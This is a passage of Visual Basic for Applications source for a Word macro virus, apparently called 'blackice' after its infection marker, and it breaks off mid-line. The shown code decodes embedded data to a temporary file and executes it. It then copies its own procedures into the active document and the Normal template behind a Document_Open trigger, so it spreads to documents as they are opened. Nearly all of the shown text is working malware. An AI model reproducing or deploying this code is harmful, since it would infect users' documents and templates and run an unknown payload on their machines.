If W2 >= 0 Then
buffer = ((W1 * 4 + Int(W2 / 16)) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
If W3 >= 0 Then
buffer = ((W2 * 16 + Int(W3 / 4)) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
If W4 >= 0 Then
buffer = ((W3 * 64 + W4) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
Next
CloseHandle (hFile)
Shell strTempFileName
End Sub
Private Sub infectdocument()
On Error Resume Next
Set tcodemodule = ThisDocument.VBProject.vbcomponents(1).codemodule
Set dcodemodule = ActiveDocument.VBProject.vbcomponents(1).codemodule
If dcodemodule.Lines(1, 1) <> "'<!!blackice>" Then
ret = dcodemodule.insertlines(1, "end sub")
ret = dcodemodule.insertlines(1, "infectnormal")
ret = dcodemodule.insertlines(1, "runblackice")
ret = dcodemodule.insertlines(1, "private sub document_open()")
startline = tcodemodule.ProcStartLine("infectnormal", vbext_pk_Proc)
nlines = tcodemodule.ProcCountLines("infectnormal", vbext_pk_Proc)
ret = dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
startline = tcodemodule.ProcStartLine("infectdocument", vbext_pk_Proc)
nlines = tcodemodule.ProcCountLines("infectdocument", vbext_pk_Proc)
ret = dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1
ret = dcodemodule.insertlines(1, tcodemodule.Lines(1, nlines))
End If
End Sub
Private Sub infectnormal()
On Error Resume Next
Set ncodemodule = NormalTemplate.VBProject.vbcomponents(1).codemodule
If ncodemodule.Lines(1, 1) <> "'<!!blackice>" Then
Set tcodemodule = ThisDocument.VBProject.vbcomponents(1).codemodule
ret = ncodemodule.insertlines(1, "end sub")
ret = ncodemodule.insertli
... (truncated)